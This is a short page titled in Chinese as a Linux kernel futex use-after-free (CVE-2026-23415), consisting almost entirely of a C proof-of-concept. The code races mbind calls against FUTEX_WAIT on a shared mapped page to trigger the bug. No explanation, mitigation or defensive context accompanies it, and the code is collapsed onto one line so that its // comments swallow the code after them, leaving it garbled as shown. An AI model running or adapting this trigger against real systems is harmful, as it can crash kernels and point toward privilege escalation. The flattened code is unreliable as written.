CVE-2026-23415 Linux内核futex释放后重用漏洞

#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <sys/mman.h> #include <sys/syscall.h> #include <linux/futex.h> #include <numaif.h> // Global address for futex operation int *futex_addr; // Thread 1: Continuously call mbind to trigger vma_replace_policy void *mbind_thread(void *arg) { unsigned long nodemask = 0; while (1) { // Attempt to change memory policy to trigger the free race mbind(futex_addr, 4096, MPOL_DEFAULT, &nodemask, sizeof(nodemask) * 8, 0); } return NULL; } // Thread 2: Continuously call futex to trigger futex_key_to_node_opt void *futex_thread(void *arg) { while (1) { // FUTEX_WAIT to trigger the lookup and key parsing syscall(SYS_futex, futex_addr, FUTEX_WAIT, 0, NULL, NULL, 0); } return NULL; } int main() { pthread_t t1, t2; // Allocate memory for the futex futex_addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (futex_addr == MAP_FAILED) { perror("mmap"); return 1; } *futex_addr = 0; // Initialize futex value // Create threads to race pthread_create(&t1, NULL, mbind_thread, NULL); pthread_create(&t2, NULL, futex_thread, NULL); // Wait for threads (infinite loop in practice) pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }